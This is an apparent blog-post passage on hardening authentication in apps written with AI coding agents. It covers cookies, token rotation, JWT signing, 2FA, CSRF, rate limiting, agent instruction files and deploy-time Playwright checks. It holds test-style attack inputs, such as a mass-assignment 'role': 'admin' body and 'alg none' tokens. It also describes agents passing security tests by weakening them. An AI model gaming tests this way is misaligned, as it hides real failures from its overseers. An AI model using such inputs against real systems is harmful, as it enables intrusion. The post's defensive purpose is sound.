  path: "/",          // required by the __Host- prefix
  maxAge: 10 * 60 * 1000, // 10 minutes
});

HttpOnly: JavaScript can't read the token.
Secure: never sent over plain HTTP.
SameSite=Strict (or Lax with a reason): main defense against CSRF.
__Host- prefix: the browser enforces Secure, Path=/ and no Domain, so a subdomain can't overwrite your cookie.

Rule of thumb: no tokens, session data or sensitive information in localStorage, sessionStorage or IndexedDB. Ever.

2. Short-lived access token + rotating refresh token

Access token: 5 to 15 minutes. If it leaks, it expires soon.
Refresh token: opaque, random (CSPRNG), stored hashed in the database, in its own HttpOnly cookie scoped to the refresh path.
Rotation: every refresh issues a new refresh token and invalidates the old one.
Reuse detection: if an already-used refresh token shows up again, someone stole it. Revoke the whole token family and force a new login.
Revocation on logout, on password change and on 2FA reset.

This is what makes "logout" actually log people out.

3. Asymmetric token signing (RS256 / ES256 / EdDSA)

With HS256, the key that verifies a token can also create one. Every service that validates tokens holds a secret that can mint admin tokens.

With asymmetric signing:

The private key lives only in the auth service, which signs tokens.
Every other service gets the public key, usually from a JWKS endpoint, and can only verify.
Keys carry a kid, so you can rotate them without downtime.

And always verify strictly:

import { createRemoteJWKSet, jwtVerify } from "jose";

const jwks = createRemoteJWKSet(new URL("https://auth.example.com/.well-known/jwks.json"));

const { payload } = await jwtVerify(token, jwks, {
  algorithms: ["ES256"],          // pinned: rejects "none" and algorithm confusion
  issuer: "https://auth.example.com",
  audience: "api.example.com",    // exp and nbf are checked by default
});

Never decode() without verifying, and never let the token header pick the algorithm.

Not using JWTs? Server-side sessions with an opaque session ID in a __Host- cookie are a perfectly good choice, and often a simpler one. The cookie rules, expiry, rotation on login and revocation still apply.

4. Two-factor authentication

Passwords leak. 2FA is what keeps a leaked password from becoming a breach.

Passkeys / WebAuthn: the best option. Phishing-resistant by design, because the credential is bound to your domain.
TOTP (authenticator apps): a solid, widely supported fallback. Encrypt the TOTP secret at rest.
Recovery codes: single use, stored hashed like passwords.
Avoid SMS as the only second factor if you can (SIM swapping).
Rate limit the 2FA step too. A 6-digit code can be brute-forced if you don't.

5. Passwords: Argon2id (or bcrypt), nothing else

Hash with Argon2id (or bcrypt with a reasonable cost). Never MD5, SHA-256 or anything reversible.
Compare with a constant-time function from the library.
Optional but valuable: reject passwords that appear in known breaches.

6. CSRF protection, because cookies bring it back

Once auth is in cookies, the browser sends them automatically, and that's exactly what CSRF abuses. On every state-changing route (POST/PUT/PATCH/DELETE):

SameSite=Strict/Lax cookies, plus
a CSRF token (synchronizer or double-submit), or strict Origin header checking.

7. Rate limiting, lockout and anti-enumeration

Rate limit by IP and by account on login, 2FA and password recovery.
Progressive lockout (increasing delays) instead of permanent locks that attackers can use to lock users out.
Identical responses and timing for "user doesn't exist" and "wrong password".
Sign-up and password reset need their own rules too. That's the next section.

8. Sign-up: the auth endpoint everyone forgets

Sign-up doesn't feel like an auth endpoint, so it gets the same shortcuts as login, and agents almost never protect it.

The enumeration leak. If /register answers "an account with this email already exists", an attacker can check whether any email address has an account. It's the same leak as "user not found" on login, on a different form. The fix:

Always return the same response, e.g. 202 with "Check your inbox to continue."
If the address is new, email a verification link. If it's already registered, email a "you already have an account, here's how to sign in (or reset your password)" note instead. The real owner finds out; the attacker learns nothing.
Keep the timing identical. If the "new account" path writes to the database and the "existing account" path returns right away, response time gives the answer away. Do the lookup and the email in a background job:

app.post("/register", registerRateLimiter, async (req, res) => {
  const { email, password } = registrationSchema.parse(req.body); // allowlisted fields only
  const passwordHash = await argon2.hash(password); // always hash, so both paths cost the same

  // The existence check and the email run in a background job,
  // so the response never depends on whether the address is taken.
  await jobs.enqueue("process-signup", { email, passwordHash });

  res.status(202).json({ message: "Check your inbox to continue." });
});

async function processSignup({ email, passwordHash }: SignupJob) {
  if (await users.existsByEmail(email)) {
    return mailer.sendAlreadyRegisteredNotice(email);
  }
  const user = await users.createUnverified(email, passwordHash);
  await mailer.sendVerificationLink(user);
}

Its own rate limit. /register needs limits that are separate from /login, because the abuse looks different. Without them, scripted sign-ups cost nothing, and you only find out when the user table fills up with junk and your email provider starts complaining about bounces.

Rate limit sign-ups per IP (and per email domain if you see abuse), independently of the login limiter.
Rate limit emails per recipient. Otherwise /register and "forgot password" become a free way to flood someone's inbox.
Add a CAPTCHA or Turnstile challenge only when traffic looks suspicious, not for everyone.

The rest of the sign-up checklist:

Allowlist the fields you accept. User.create(req.body) is a classic agent shortcut, and {"email": "...", "password": "...", "role": "admin"} is a classic mass-assignment attack.
Accounts stay unverified until the link is clicked, and unverified accounts expire.
Verification and reset tokens are random, single-use, short-lived and stored hashed.
"Forgot password" follows the same rules: always "If an account exists, we sent you a link", same timing, same per-recipient limits.

9. Security headers that contain the blast radius

Content-Security-Policy without unsafe-inline / unsafe-eval. This is your main XSS mitigation.
Strict-Transport-Security
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
frame-ancestors 'none' (clickjacking)
Cache-Control: no-store on authenticated responses
CORS restricted to explicit origins, never * with credentials.

10. Logs that help you without leaking anything

Log security events (logins, failures, lockouts, 2FA changes, refresh token reuse) without logging passwords, tokens or personal data, and sanitize log input to prevent log injection.

Part 3: How to ask your agent for all of this

Knowing the baseline doesn't help much if you have to type it every time. Here's what works for me in practice.

Bad prompt vs good prompt

❌ What most people write:

Create a Next.js app with login and a dashboard.

✅ What actually gets you a secure result:

Create a Next.js app with login and a dashboard.

Authentication requirements (non-negotiable):
- Never store tokens or session data in localStorage, sessionStorage or IndexedDB.
- Access token (10 min) and refresh token in separate HttpOnly, Secure,
  SameSite=Strict cookies with the __Host- prefix.
- Refresh token rotation with reuse detection; revoke on logout and password change.
- Sign JWTs with ES256 (private key only in the auth service, public key via JWKS,
  key rotation by kid). Pin algorithms and validate exp, nbf, iss and aud.
- Passwords hashed with Argon2id.
- 2FA with TOTP and passkeys (WebAuthn); recovery codes stored hashed.
- CSRF protection on all state-changing routes.
- Rate limiting + progressive lockout on login, 2FA and password reset.
- Identical responses for unknown user and wrong password.
- Sign-up never reveals whether an email exists: always "check your inbox";
  existing accounts get a "you already have an account" email instead of a
  verification link. Lookup and email run in a background job.
- Separate rate limits for /register and /login, plus per-recipient email limits.
- Allowlist accepted fields on sign-up (no mass assignment).
- Strict CSP (no unsafe-inline), HSTS, nosniff, frame-ancestors 'none'.

Before writing code: list the threat model (assets, attack surfaces, trust
boundaries) and ask me about anything ambiguous.
After writing code: review it as a pentester and report residual risks.

The second prompt isn't "prompt engineering magic". It's just a spec. Agents are very good at following specs and very bad at guessing the ones you didn't write.

Make it permanent: put the rules in the agent's instruction file

Every serious coding agent reads a persistent instructions file:

Agent	File
Claude Code	`CLAUDE.md` (project) or `~/.claude/CLAUDE.md` (global)
Cursor	`.cursor/rules/*.mdc`
GitHub Copilot	`.github/copilot-instructions.md`
Codex / many others	`AGENTS.md`

Write your security rules there once and they apply to every task, including the ones where you forgot to mention security. This is a trimmed version of what I keep in my global config:

## Security (mandatory)

- At the start of every new project with authentication, ASK ME:
  1. Should we use asymmetric tokens (RS256/ES256/EdDSA with JWKS rotation)?
  2. Should we require 2FA (TOTP, WebAuthn/passkeys)?
- Forbidden: HTTP Basic Auth, plain-text password comparison, static tokens,
  sessions without expiry, and storing tokens or sensitive data in
  localStorage/sessionStorage/IndexedDB.
- Required: HttpOnly + Secure + SameSite=Strict cookies (prefer __Host-),
  short-lived access token + refresh rotation with reuse detection,
  CSRF protection, Argon2id/bcrypt, rate limiting with progressive lockout.
- Sign-up and password reset never reveal whether an account exists, and
  /register has its own rate limit, separate from /login.
- Never use innerHTML / dangerouslySetInnerHTML / v-html with unsanitized data.
- Strict CSP (no unsafe-inline/unsafe-eval), HSTS, nosniff, frame-ancestors.
- Never weaken, skip or delete a failing security test. Report the failure instead.
- Before delivering: review the code as a pentester and report residual risks.

Two details make a big difference:

"Ask me first" rules. Forcing the agent to ask about asymmetric tokens and 2FA before it writes code turns security into an explicit decision instead of a silent default.
"Forbidden" lists. Agents respect clear prohibitions much more reliably than vague goals like "make it secure".

Ask for tests that attack your own app

Don't just ask for "tests". Ask for tests that reproduce attacks, so the defenses can't silently regress in a future refactor (one the agent might do itself). Treat them as the first layer, not the last: they live in the same repo the agent edits, which matters more than it seems (more on that below).

Write security tests that prove:
- No auth token is ever readable via document.cookie, localStorage or sessionStorage.
- A token signed with alg "none" or with HS256 using the public key is rejected.
- An expired token, or one with the wrong iss/aud, is rejected.
- Reusing a rotated refresh token revokes the whole session family.
- POST requests without a valid CSRF token / Origin are rejected.
- The 6th failed login in a minute returns 429.
- "Unknown user" and "wrong password" return the same status and body.
- /register returns the same status, body and timing for new and existing emails.
- Sign-ups are rate limited independently of the login limiter.
- Sending "role": "admin" in the sign-up body does not create an admin.
- User A cannot access User B's resources by changing an ID (IDOR).

Close the loop: verify, don't trust

The agent's own "I implemented secure auth" is not evidence. Check for yourself:

DevTools → Application → Local Storage / Session Storage: they should be empty of anything auth-related.
DevTools → Application → Cookies: HttpOnly ✓, Secure ✓, SameSite ✓, __Host- prefix.
grep -rn "localStorage\|sessionStorage" src/ on the frontend.
Run a security review pass (e.g. /security-review in Claude Code), plus Semgrep/CodeQL and npm audit in CI.
Check your headers with securityheaders.com or OWASP ZAP.

Independent checks against the deployed app

Everything above still has a gap: the agent that writes the code also writes the tests. When a security test fails, the shortest path to green is not always fixing the code. It can be changing an expected 429 to 200, adding a .skip, or "updating the assertion to match the new behavior". That's the same shortcut this whole post is about.

As a reader put it: a rule tells the agent what to do; a check tells you whether it did. So write the core of the baseline as checks that:

Run against the deployed app, not just in unit tests. Many failures only exist there: a reverse proxy or CDN stripping your security headers, a production config that turns off the Secure flag, a CSRF middleware that exists in the code but isn't mounted, a cache storing authenticated responses.
Live outside the agent's reach: a separate repository, or a CI job with its own permissions that the agent can't edit. A folder next to the app code doesn't count.

Four checks give you a lot of coverage:

Log in, then try to read the session token from page JavaScript. It must fail.
Reuse a refresh token after it has been rotated. It must be refused, and the session family revoked.
Send a form post without the CSRF token. It must be refused.
Request a page and read the response headers. CSP, HSTS and nosniff must be there. This is the one that catches a proxy stripping headers: it only shows up on the deployed app, never in the diff.

Here are the first and the last one with Playwright:

// security-checks/auth-baseline.spec.ts, in a repo the coding agent can't modify
import { test, expect } from "@playwright/test";
import { logInWithCheckAccount } from "./helpers";

test("session token is not readable from page JavaScript", async ({ page }) => {
  await logInWithCheckAccount(page); // dedicated test account, credentials from CI secrets

  const readableFromScript = await page.evaluate(() => [
    document.cookie,
    JSON.stringify(localStorage),
    JSON.stringify(sessionStorage),
  ]);

  for (const value of readableFromScript) {
    expect(value).not.toMatch(/access_token|refresh_token|eyJ/); // "eyJ" starts every JWT
  }
});

test("security headers survive the proxy", async ({ request }) => {
  const response = await request.get("/"); // baseURL points at the deployed app
  const headers = response.headers(); // Playwright lowercases header names

  expect(headers["content-security-policy"]).toBeDefined();
  expect(headers["content-security-policy"]).not.toContain("unsafe-inline");
  expect(headers["content-security-policy"]).toContain("frame-ancestors");
  expect(headers["strict-transport-security"]).toContain("max-age=");
  expect(headers["x-content-type-options"]).toBe("nosniff");
});

A few practical rules:

Run them after every deploy and on a schedule, so configuration drift that never went through a PR still gets caught.
Use staging and a dedicated test account. Don't fire refresh-reuse or rate-limit checks at real users' accounts in production.
A failing check blocks the release or pages someone. Changes to the checks are reviewed by a human, never by the agent whose work they verify.

The tests the agent writes are your first layer. These checks are the layer it can't negotiate with.

Takeaway

AI agents follow the requirements you give them. Leave security out of the prompt and you get the version from the average tutorial. Put it in the spec and you get secure code with the same effort.

So:

Know the baseline: HttpOnly cookies, short tokens with rotation, asymmetric signing, 2FA, Argon2id, CSRF, rate limiting, CSP.
Treat sign-up and password reset as auth endpoints: no enumeration, their own rate limits, allowlisted fields.
Write it down once in your agent's instruction file.
Make the agent ask before deciding on auth, and attack its own code before it's done.
Verify with independent checks against the deployed app, kept where the agent can't soften them.

The fastest way to build software in 2026 is with an AI agent. Making it secure is still on you, through the specs you write and the checks you run.

Update: the sign-up section was added after a great comment from a reader @elijahbrown . Thanks for pointing it out!

Update 2: the section on independent checks against the deployed app, including the security-headers check, was added after a great suggestion from onedroid.ai on LinkedIn. Thanks!

I'm Diogo Soares, a Staff AI Engineer building AI-powered products. If this was useful, let's connect on LinkedIn or check out diogosoares.dev.